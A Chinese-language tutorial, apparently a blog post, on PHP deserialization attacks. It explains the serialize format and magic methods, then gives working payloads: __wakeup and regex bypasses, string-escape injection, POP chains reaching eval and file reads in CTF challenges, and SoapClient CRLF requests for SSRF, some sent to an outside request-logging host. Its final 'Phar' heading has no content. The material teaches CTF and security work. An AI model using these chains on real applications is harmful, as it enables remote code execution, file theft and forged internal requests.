反序列化

什么是序列化和反序列化

序列化其实就是将数据转化成一种可逆的数据结构,自然,逆向的过程就叫做反序列化。

在网上找到一个比较形象的例子

比如:现在我们都会在淘宝上买桌子,桌子这种很不规则的东西,该怎么从一个城市运输到另一个城市,这时候一般都会把它拆掉成板子,再装到箱子里面,就可以快递寄出去了,这个过程就类似我们的序列化的过程(把数据转化为可以存储或者传输的形式)。当买家收到货后,就需要自己把这些板子组装成桌子的样子,这个过程就像反序列的过程(转化成当初的数据对象)。

php 将数据序列化和反序列化会用到两个函数

1
2
serialize 将对象格式化成有序的字符串
unserialize 将字符串还原成原来的对象

序列化的目的是方便数据的传输和存储,在PHP中,序列化和反序列化一般用做缓存,比如session缓存cookie等。

常见的序列化格式

了解即可

二进制格式
字节数组
json字符串
xml字符串

序列化后的格式:

布尔型

1
2
3
b:value
b:0 //false
b:1 //true

整数型

1
2
3
i:value
i:1
i:-1

字符型

1
2
s:length:"value";
s:4:"aaaa";

NULL型

1
N;

数组

1
2
a:<length>:{key, value pairs};
a:1:{i:1;s:1:"a";}

对象

1
2
O:<class_name_length>:"<class_name>":<number_of_properties>:{<properties>};
O:6:"person":3:{s:4:"name";N;s:3:"age";i:19;s:3:"sex";N;}

案例引入

简单的例子(以数组为例子)

1
2
3
4
5
6
<?php
$user=array('xiao','shi','zi');
$user=serialize($user);
echo($user.PHP_EOL);
print_r(unserialize($user));
?>

他会输出

1
2
3
4
5
6
7
a:3:{i:0;s:4:"xiao";i:1;s:3:"shi";i:2;s:2:"zi";}
Array
(
[0] => xiao
[1] => shi
[2] => zi
)

我们对上面这个例子做个简单讲解,方便大家入门

1
2
3
4
5
a:3:{i:0;s:4:"xiao";i:1;s:3:"shi";i:2;s:2:"zi";}
a:array代表是数组,后面的3说明有三个属性
i:代表是整型数据int,后面的0是数组下标
s:代表是字符串,后面的4是因为xiao长度为4
依次类推

序列化后的内容只有成员变量,没有成员函数,比如下面的例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class test{
public $a;
public $b;
function __construct(){
$this->a = "xiaoshizi";$this->b="laoshizi";
}
function happy(){
return $this->a;
}
}
$a = new test();
echo serialize($a);
?>

输出(O代表Object是对象的意思,也是类)

1
O:4:"test":2:{s:1:"a";s:9:"xiaoshizi";s:1:"b";s:8:"laoshizi";}

而如果变量前是protected,则会在变量名前加上\x00*\x00,private则会在变量名前加上\x00类名\x00,输出时一般需要url编码,若在本地存储更推荐采用base64编码的形式,如下:

1
2
3
4
5
6
7
8
9
10
11
<?php
class test{
protected $a;
private $b;
function __construct(){$this->a = "xiaoshizi";$this->b="laoshizi";}
function happy(){return $this->a;}
}
$a = new test();
echo serialize($a);
echo urlencode(serialize($a));
?>

输出则会导致不可见字符\x00的丢失

1
O:4:"test":2:{s:4:" * a";s:9:"xiaoshizi";s:7:" test b";s:8:"laoshizi";}

PHP中的魔术变量

1
2
3
4
5
6
7
8
9
10
11
12
13
__sleep() //执行serialize()时,先会调用这个函数
__wakeup() //将在反序列化之后立即调用(当反序列化时变量个数与实际不符时绕过)
__construct() //当对象被创建时,会触发进行初始化
__destruct() //对象被销毁时触发
__toString(): //当一个对象被当作字符串使用时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //获得一个类的成员变量时调用,用于从不可访问的属性读取数据(不可访问的属性包括:1.属性是私有型。2.类中不存在的成员变量)
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试以调用函数的方式调用一个对象时

理解魔术方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
class test{
public $varr1="abc";
public $varr2="123";
public function echoP(){
echo $this->varr1."<br>";
}
public function __construct(){
echo "__construct<br>";
}
public function __destruct(){
echo "__destruct<br>";
}
public function __toString(){
return "__toString<br>";
}
public function __sleep(){
echo "__sleep<br>";
return array('varr1','varr2');
}
public function __wakeup(){
echo "__wakeup<br>";
}
}
//实例化一个对象,调用了construct方法,输出了__construct
$obj = new test();
//调用echoP方法,输出了abc
$obj->echoP();
//被当字符串输出,调用了__toString方法,输出了__toString
echo $obj;
//序列化对象,调用__sleep方法,输出了__sleep
$s = serialize($obj);
//输出序列化后的字符串,O:4:"test":2:{s:5:"varr1";s:3:"abc";s:5:"varr2";s:3:"123";}
echo $s;
//反序列化调用__wakeup方法,输出了__wakeup
//此时的echo又是相当于将对象字符串输出,于是又调用了__toString
echo unserialize($s);
//脚本结束,即对象将被销毁,调用__destruct,其中还有一次是反序列化恢复的对象,所以这里是输出两次__destruct
?>

反序列化绕过小Trick

php7.1+反序列化对类属性不敏感

我们前面说了如果变量前是protected,序列化结果会在变量名前加上\x00*\x00

但在特定版本7.1以上则对于类属性不敏感,比如下面的例子即使没有\x00*\x00也依然会输出abc

1
2
3
4
5
6
7
8
9
10
11
<?php
class test{
protected $a;
public function __construct(){
$this->a = 'abc';
}
public function __destruct(){
echo $this->a;
}
}
unserialize('O:4:"test":1:{s:1:"a";s:3:"abc";}');

绕过__wakeup(CVE-2016-7124)

1
2
3
版本:
PHP5 < 5.6.25
PHP7 < 7.0.10

利用方式:序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class test{
public $a;
public function __construct(){
$this->a = 'abc';
}
public function __wakeup(){
$this->a='666';
}
public function __destruct(){
echo $this->a;
}
}

如果执行unserialize('O:4:"test":1:{s:1:"a";s:3:"abc";}');输出结果为666

而把对象属性个数的值增大执行unserialize('O:4:"test":2:{s:1:"a";s:3:"abc";}');输出结果为abc

绕过部分正则

preg_match(‘/^O:\d+/‘)匹配序列化字符串是否是对象字符串开头,这在曾经的CTF中也出过类似的考点

有两种方法:

1
2
3
利用加号绕过(注意在url里传参时 +要编码为%2B)

serialize(array( a ) ) ; //a为要反序列化的对象(序列化结果开头是a,不影响作为数组元素的$a的析构)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
class test{
public $a;
public function __construct(){
$this->a = 'abc';
}
public function __destruct(){
echo $this->a.PHP_EOL;
}
}
function match1($data){
if (preg_match('/^O:\d+/',$data)){
die('you lose!');
}else{
return $data;
}
}
$a = 'O:4:"test":1:{s:1:"a";s:3:"abc";}';
// +号绕过
$b = str_replace('O:4','O:+4', $a);
unserialize(match1($b));
// serialize(array($a));
// ==>> a:1:{i:0;s:33:"O:4:"test":1:{s:1:"a";s:3:"abc";}";}
unserialize('a:1:{i:0;O:4:"test":1:{s:1:"a";s:3:"abc";}}');
?>

利用引用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class test{
public $a;
public $b;
public function __construct(){
$this->a = 'abc';
$this->b= &$this->a;
}
public function __destruct(){
if($this->a===$this->b){
echo 666;
}
}
}
$a = serialize(new test());

上面这个例子将$b设置为$a的引用,可以使$a永远与$b相等

16进制绕过字符的过滤

1
O:4:"test":2:{s:4:"%00*%00a";s:3:"abc";s:7:"%00test%00b";s:3:"def";}可以写成O:4:"test":2:{S:4:"\00*\00\61";s:3:"abc";s:7:"%00test%00b";s:3:"def";}表示字符类型的s大写时,会被当成16进制解析。

我这里写了一个例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class test{
public $username;
public function __construct(){
$this->username = 'admin';
}
public function __destruct(){
echo 666;
}
}
function check($data){
if(stristr($data, 'username')!==False){
echo("你绕不过!!".PHP_EOL);
}
else{
return $data;
}
}
// 未作处理前
$a = 'O:4:"test":1:{s:8:"username";s:5:"admin";}';
$a = check($a);unserialize($a);
// 做处理后 \75是u的16进制
$a = 'O:4:"test":1:{S:8:"\\75sername";s:5:"admin";}';
$a = check($a);unserialize($a);

PHP反序列化字符逃逸

情况1:过滤后字符变多

首先给出本地的php代码,很简单不做过多的解释,就是把反序列化后的一个x替换成为两个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
function change($str){
return str_replace("x","xx",$str);
}
$name = $_GET['name'];
$age = "I am 11";
$arr = array($name,$age);
echo "反序列化字符串:";
var_dump(serialize($arr));
echo "<br/>";
echo "过滤后:";
$old = change(serialize($arr));
$new = unserialize($old);
var_dump($new);
echo "<br/>此时,age=$new[1]";

正常情况,传入name=mao

在这里插入图片描述

如果此时多传入一个x的话会怎样,毫无疑问反序列化失败,由于溢出(s本来是4结果多了一个字符出来),我们可以利用这一点实现字符串逃逸

在这里插入图片描述

首先来看看结果,再来讲解

在这里插入图片描述

我们传入name=maoxxxxxxxxxxxxxxxxxxxx";i:1;s:6:"woaini";}
";i:1;s:6:"woaini";}这一部分一共二十个字符
由于一个x会被替换为两个,我们输入了一共20个x,现在是40个,多出来的20个x其实取代了我们的这二十个字符";i:1;s:6:"woaini";},从而造成";i:1;s:6:"woaini";}的溢出,而”闭合了前串,使得我们的字符串成功逃逸,可以被反序列化,输出woaini
最后的;}闭合反序列化全过程导致原来的";i:1;s:7:"I am 11";}"被舍弃,不影响反序列化过程。

其实就是如何在不直接修改$age值的情况下间接修改$age的值

再举个例子我传入name=maoxxxxxxxxxxxxxxxxxxx";i:1;s:5:"jerry";}

此时";i:1;s:5:"jerry";}长度为19,那我在就输入19个x,在经过过滤后,会再增加19个×的长度,多出来的19个x的长度会填充掉当前payload字符串的长度,而payload顺利逃出了php检测。

逃逸或者说被“顶”出来的payload就会被当做当前类的属性被执行。

image-20211116084958558

5

情况2:过滤后字符变少

老规矩先上代码,很简单不做过多的解释,就是把反序列化后的两个x替换成为一个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
function change($str){
return str_replace("xx","x",$str);
}
$arr['name'] = $_GET['name'];
$arr['age'] = $_GET['age'];
echo "反序列化字符串:";
var_dump(serialize($arr));
echo "<br/>";
echo "过滤后:";
$old = change(serialize($arr));
var_dump($old);
echo "<br/>";
$new = unserialize($old);
var_dump($new);
echo "<br/>此时,age=";
echo $new['age'];

正常情况传入name=mao&age=11的结果

在这里插入图片描述

老规矩看看最后构造的结果,再继续讲解

在这里插入图片描述

简单来说,就是前面少了一半,导致后面的字符被吃掉,从而执行了我们后面的代码;
我们来看,这部分是age序列化后的结果

1
s:3:"age";s:28:"11";s:3:"age";s:6:"woaini";}"

由于前面是40个x所以导致少了20个字符,所以需要后面来补上,";s:3:"age";s:28:"11这一部分刚好20个,后面由于有”闭合了前面因此后面的参数就可以由我们自定义执行了
其实很好理解,就是把原有的age的序列化的值给吃掉,构造恶意的值传入。

再看个例子:

将hacker修改为hack。需要将$isVIP改为1

完整代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class user{
public $username;
public $password;
public $isVIP;

public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}

function filter($s){
return str_replace("admin","hack",$s);
}

$a = new user('admin','123456');
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);

echo $a_seri_filter;
?>

得到结果:

1
O:4:"user":3:{s:8:"username";s:5:"hack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

同样比较一下现有子串目标子串

1
";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}	//现有子串";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}	//目标子串

因为过滤的时候,将5个字符删减为了4个,所以和上面字符变多的情况相反,随着加入的admin的数量增多,现有子串后面会缩进来。

计算一下目标子串的长度:

1
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}	//目标子串//长度为47

再计算一下到下一个可控变量的字符串长度:

1
";s:8:"password";s:6:"//长度为22

因为每次过滤的时候都会少1个字符,因此我们先将admin字符重复22遍(这里的22遍不像字符变多的逃逸情况精确,后面可能会需要做调整)

完整代码如下:(这里的变量里一共有22admin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class user{
public $username;
public $password;
public $isVIP;

public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}

function filter($s){
return str_replace("admin","hack",$s);
}

$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','123456');
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);

echo $a_seri_filter;
?>

输出结果:

注意:PHP反序列化的机制是,比如如果前面是规定了有10个字符,但是只读到了9个就到了双引号,这个时候PHP会把双引号当做第10个字符,也就是说不根据双引号判断一个字符串是否已经结束,而是根据前面规定的数量来读取字符串。

1
O:4:"user":3:{s:8:"username";s:105:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

这里我们需要仔细看一下s后面是105,也就是说我们需要读取到105个字符。从第一个引号开始,105个字符如下:

1
hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:

20210820123924.png

也就是说123456这个地方成为了我们的可控变量,在123456可控变量的位置中添加我们的目标子串

1
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}	//目标子串

完整代码为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class user{
public $username;
public $password;
public $isVIP;

public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}

function filter($s){
return str_replace("admin","hack",$s);
}

$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}');
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);

echo $a_seri_filter;
?>

输出:

1
O:4:"user":3:{s:8:"username";s:105:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}

仔细观察这一串字符串可以看到紫色方框内一共107个字符,但是前面只有显示105

20210820131653.png

造成这种现象的原因是:替换之前我们目标子串的位置是123456,一共6个字符,替换之后我们的目标子串显然超过10个字符,所以会造成计算得到的payload不准确

解决办法是:多添加2admin,这样就可以补上缺少的字符。

修改后代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class user{
public $username;
public $password;
public $isVIP;

public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}

function filter($s){
return str_replace("admin","hack",$s);
}

$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}');
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);

echo $a_seri_filter;
?>

输出结果为:

1
O:4:"user":3:{s:8:"username";s:115:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}

分析一下输出结果:

20210820130134.png

可以看到,这一下就对了。

我们将对象反序列化然后输出,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class user{
public $username;
public $password;
public $isVIP;

public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}

function filter($s){
return str_replace("admin","hack",$s);
}

$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}');
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);
$a_seri_filter_unseri = unserialize($a_seri_filter);

var_dump($a_seri_filter_unseri);
?>

得到结果:

1
2
3
4
5
6
7
8
object(user)#2 (3) {
["username"]=>
string(115) "hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:""
["password"]=>
string(6) "123456"
["isVIP"]=>
int(1)
}

可以看到,这个时候isVIP的值也为1,也就达到了我们反序列化字符逃逸的目的了

对象注入

当用户的请求在传给反序列化函数unserialize()之前没有被正确的过滤时就会产生漏洞。因为PHP允许对象序列化,攻击者就可以提交特定的序列化的字符串给一个具有该漏洞的unserialize函数,最终导致一个在该应用范围内的任意PHP对象注入。

对象漏洞出现得满足两个前提

1
1、unserialize的参数可控。2、 代码里有定义一个含有魔术方法的类,并且该方法里出现一些使用类成员变量作为参数的存在安全问题的函数。

比如这个例子:

1
2
3
4
5
6
7
8
9
<?php
class A{
var $test = "tom";
function __destruct(){
echo $this->test;
}
}
$a = 'O:1:"A":1:{s:4:"test";s:6:"Keyond";}';
unserialize($a);

image-20211116103315367

在脚本运行结束后便会调用_destruct函数,同时会覆盖test变量输出Keyond

POP链的构造利用

POP链简单介绍

前面所讲解的序列化攻击更多的是魔术方法中出现一些利用的漏洞,因为自动调用而触发漏洞,但如果关键代码不在魔术方法中,而是在一个类的普通方法中。这时候可以通过寻找相同的函数名将类的属性和敏感函数的属性联系起来

例题一:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
highlight_file(__FILE__);
class test {
protected $ClassObj;
function __construct() {
$this->ClassObj = new normal();
}
function __destruct() {
$this->ClassObj->action();
}
}
class normal {
function action() {
echo "HelloWorld";
}
}
class evil {
private $data;
function action() {
eval($this->data);
}
}

unserialize($_GET['a']);
?>

比如说上面这个例子,危险函数应该是evil类中的action方法,里面有个eval,但action方法并不是魔术方法,一般情况下我们是很难调用它的,但我们看到test类中的__destruct()调用了action方法,但在__construct()中可以看出它创建了一个normal类的对象,然后调用的是normal类中的action方法;这个就很好办,我们把魔术方法中的属性改一下,改成创建一个evil类的对象,那它自然调用的就是evil类中的action方法了,有了思路下面就来构造:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class test {
protected $ClassObj;
}
class evil {
private $data='phpinfo();';
}
$a = new evil();
$b = new test();
$b -> ClassObj = $a;
echo serialize(urlencode($a));
?>

本来构造出来应该是这样,创建一个evil类的对象然后把它赋值给ClassObj属性,但这里这样写不行,因为ClassObj属性是protected属性,不能在类外面访问它,所以说我们得在test类里面写一个__construct()来完成这个操作:

但在特定版本7.1以上则对于类属性不敏感

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class test{
protected $ClassObj;
function __construct() {
$this->ClassObj = new evil();
}
}

class evil{
private $data = "phpinfo();";
function action() {
eval($this->data);
}
}
echo urlencode(serialize(new test()));
?>

image-20211116205018705

例题二:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
highlight_file(__FILE__);
class Hello
{
public $source;
public $str;
public function __construct($name)
{
$this->str=$name;
}
public function __destruct()
{
$this->source=$this->str;
echo $this->source;
}
}
class Show
{
public $source;
public $str;
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
}

class Uwant
{
public $params;
public function __construct(){
$this->params='phpinfo();';
}
public function __get($key){
return $this->getshell($this->params);
}
public function getshell($value)
{
eval($this->params);
}
}
$a = $_GET['a'];
unserialize($a);
?>

思路分析:先找链子的头和尾,头部明显是GET传参,尾部是Uwant类中的getshell,然后往上倒推,Uwant类中的__get()中调用了getshellShow类中的toString调用了__get(),然后Hello类中的__destruct(),而我们GET传参之后会先进入__destruct(),这样子头和尾就连上了,所以说完整的链子就是:

1
头 -> Hello::__destruct() -> Show::__toString() -> Uwant::__get() -> Uwant::getshell -> 尾

至于魔术方法具体是怎么调用的这就不讲了,请看上一篇文章,这儿就简单提一下,在Hello类中我们要把$this->str赋值成对象,下面echo出来才能调用Show类中的__toString(),然后再把Show类中的$this->str['str']赋值成对象,来调用Uwant类中的__get()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class Hello
{
public $source;
public $str;
}
class Show
{
public $source;
public $str;
}
class Uwant
{
public $params='phpinfo();';
}
$a = new Hello();
$b = new Show();
$c = new Uwant();
$a -> str = $b;
$b -> str['str'] = $c;
echo urlencode(serialize($a));
?>

image-20211116214553975

例题三——2020 mrctf ezpop
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}

关于这个地方

1
2
3
4
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}

如果source是一个字符串就去比较,如果是一个类,php会先去寻找这个类的__tostring方法

思路分析:仍然是先找链子的头和尾,头部依然是一个GET传参,而尾部在Modifier类中的append()方法中,因为里面有个include可以完成任意文件包含,那我们很容易就可以想到用伪协议来读文件,综合上面的提示,应该flag就是在flag.php中,我们把它读出来就好;找到尾部之后往前倒推,在Modifier类中的__invoke()调用了append(),然后在Test类中的__get()返回的是$function(),可以调用__invoke(),再往前Show类中的__toString()可以调用__get(),然后在Show类中的__wakeup()中有一个正则匹配,可以调用__toString(),然后当我们传入字符串,反序列化之后最先进入的就是__wakeup(),这样子头和尾就连上了,如下图(来自LTLT):

img

流程
1
2
3
4
5
Show.__wakeup.source
$source = new Show
$str = new Test
$p = new Modiefier
$str = php://xxxxx
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class Modifier {
private $var = "php://filter/read/basae64-endcode/resource=flag.php";
}

class Show{
public $source;
public $str;

}

class Test{
public $p;
}
$a = new Show;
$b = new Show;
$c = new Test;
$d = new Modifier;

$a -> source = $b;
$b -> str = $c;
$c -> p = $d;
echo urlencode(serialize($a));
?>
例题四 2021强网杯 赌徒
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<meta charset="utf-8">
<?php
//hint is in hint.php
error_reporting(1);


class Start
{
public $name='guest';
public $flag='syst3m("cat 127.0.0.1/etc/hint");';

public function __construct(){
echo "I think you need /etc/hint . Before this you need to see the source code";
}

public function _sayhello(){
echo $this->name;
return 'ok';
}

public function __wakeup(){
echo "hi";
$this->_sayhello();
}
public function __get($cc){
echo "give you flag : ".$this->flag;
return ;
}
}

class Info
{
private $phonenumber=123123;
public $promise='I do';

public function __construct(){
$this->promise='I will not !!!!';
return $this->promise;
}

public function __toString(){
return $this->file['filename']->ffiillee['ffiilleennaammee'];
}
}

class Room
{
public $filename='/flag';
public $sth_to_set;
public $a='';

public function __get($name){
$function = $this->a;
return $function();
}

public function Get_hint($file){
$hint=base64_encode(file_get_contents($file));
echo $hint;
return ;
}

public function __invoke(){
$content = $this->Get_hint($this->filename);
echo $content;
}
}

if(isset($_GET['hello'])){
unserialize($_GET['hello']);
}else{
$hi = new Start();
}

?>

分析:首先依然是找到头和尾,头部依然是一个GET传参,而尾部可以看到Room类中有个Get_hint()方法,里面有一个file_get_contents,可以实现任意文件读取,我们就可以利用这个读取flag文件了,然后就是往前倒推,Room类中__invoke()方法调用了Get_hint(),然后Room类的__get()里面有个return $function()可以调用__invoke(),再往前看,Info类中的__toString()中有Room类中不存在的属性,所以可以调用__get(),然后Start类中有个_sayhello()可以调用__toString(),然后在Start类中__wakeup()方法中直接调用了_sayhello(),而我们知道的是,输入字符串之后就会先进入__wakeup(),这样头和尾就连上了

img

有了思路我们就直接开始构造,一般找思路我们是从尾到头,而构造则是直接从头到尾

1
头 -> Start::__wakeup() -> Start::_sayhello() ->  Info::__toString() -> Room::__get() -> Room::invoke() ->  Room::Get_hint() 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
class Start{
public $name='guest';
public $flag='syst3m("cat 127.0.0.1/etc/hint");';
}

class Info{
private $phonenumber=123123;
public $promise='I do';
}

class Room{
public $filename='/flag';
public $sth_to_set;
public $a='';
}

$a = new Start;
$b = new Info;
$c = new Room;
$d = new Room;

$a -> name = $b;
$b -> file['filename'] = $c;
$c -> a = $d;

echo urlencode(serialize($a));
?>

PHP原生类反序列化利用

X-Forwarded-For与CF-Connecting-IP的配合
关于什么是XFF相必也不需要多说,这里补充一个新Trick
维护代理服务器和原始访问者 IP 地址。如果发送到 Cloudflare 的请求中不含现有的 X-Forwarded-For 标头,X-Forwarded-For 将具有与 CF-Connecting-IP 标头相同的值:

1
示例:X-Forwarded-For:203.0.113.1

如果发送到 Cloudflare 的请求中已存在 X-Forwarded-For 标头,则 Cloudflare 会将 HTTP 代理的 IP 地址附加到这个标头:

1
示例:X-Forwarded-For:203.0.113.1,198.51.100.101,198.51.100.102

比如下面是这部分的关键代码,简简单单的代码审计

1
2
3
4
5
6
7
8
9
10
11
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}

在本题的环境当中,由于使用了Cloudflare 代理导致,Cloudflare 会将 HTTP 代理的 IP 地址附加到这个标头,本题就是后者的情况,在两次调用array_pop后我们取得的始终是固定的服务器IP,如下图所示,此时无论我们如何对XFF头进行修改都无济于事

在这里插入图片描述

因此需要实现SoapClient与CRLF的组合拳来为我们实现SSRF

###SoapClient介绍

综述:

1
php在安装php-soap拓展后,可以反序列化原生类SoapClient,来发送http post请求。必须调用SoapClient不存在的方法,触发SoapClient的__call魔术方法。通过CRLF来添加请求体:SoapClient可以指定请求的user-agent头,通过添加换行符的形式来加入其他请求内容

SoapClient采用了HTTP作为底层通讯协议,XML作为数据传送的格式,其采用了SOAP协议(SOAP 是一种简单的基于 XML 的协议,它使应用程序通过 HTTP 来交换信息),其次我们知道某个实例化的类,如果去调用了一个不存在的函数,会去调用__call方法.

该类的构造函数如下:

1
public SoapClient :: SoapClient (mixed $wsdl [,array $options ])

在这里插入图片描述

利用方式

SoapCLient+CRLF

下面首先在我的VPS上面开启监听nc -lvvp 9328

1
2
3
4
5
<?php
$a = new SoapClient(null,array('uri'=>'bbb', 'location'=>'http://xxxx.xxx.xx:9328'));
$b = serialize($a);
$c = unserialize($b);
$c -> not_a_function();//调用不存在的方法,让SoapClient调用__call

在这里插入图片描述

从上面这张图可以看到,SOAPAction处是我们的可控参数,因此我们可以尝试注入我们自己恶意构造的CRLF即插入\r\n,利用成功!

1
2
3
4
5
6
7
<?php
$a = new SoapClient(null,array('uri'=>"bbb\r\n\r\nccc\r\n", 'location'=>'http://127.0.0.1:5555/path'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->not_exists_function();
?>

img

img

另外一方面Content-Type在SOAPAction的上面,就无法控制Content-Typ,也就不能控制POST的数据,但是我们发现在header里User-Agent在Content-Type前面,所以可以配合它进行利用.

wupco

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
$target = 'http://127.0.0.1:5555/path';
$post_string = 'data=something';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=my_session'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));

$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo $aaa;

$c = unserialize($aaa);
$c->not_exists_function();
?>

img

img

还有

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$target = 'http://requestbin.net/r/xzlkkpxz';
$post_string = 'token=y4tacker';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'y4tacker^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));

$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo urlencode($aaa);
?>

在这里插入图片描述

在这里插入图片描述

因为Content-length的缘故,post只取到aaa=1111,成功把下面的那些东西给吃掉了,实现了自己构造POST的请求包。

如上,使用SoapClient反序列化+CRLF可以生成任意POST请求

Deserialization + __call + SoapClient + CRLF = SSRF

Phar反序列化

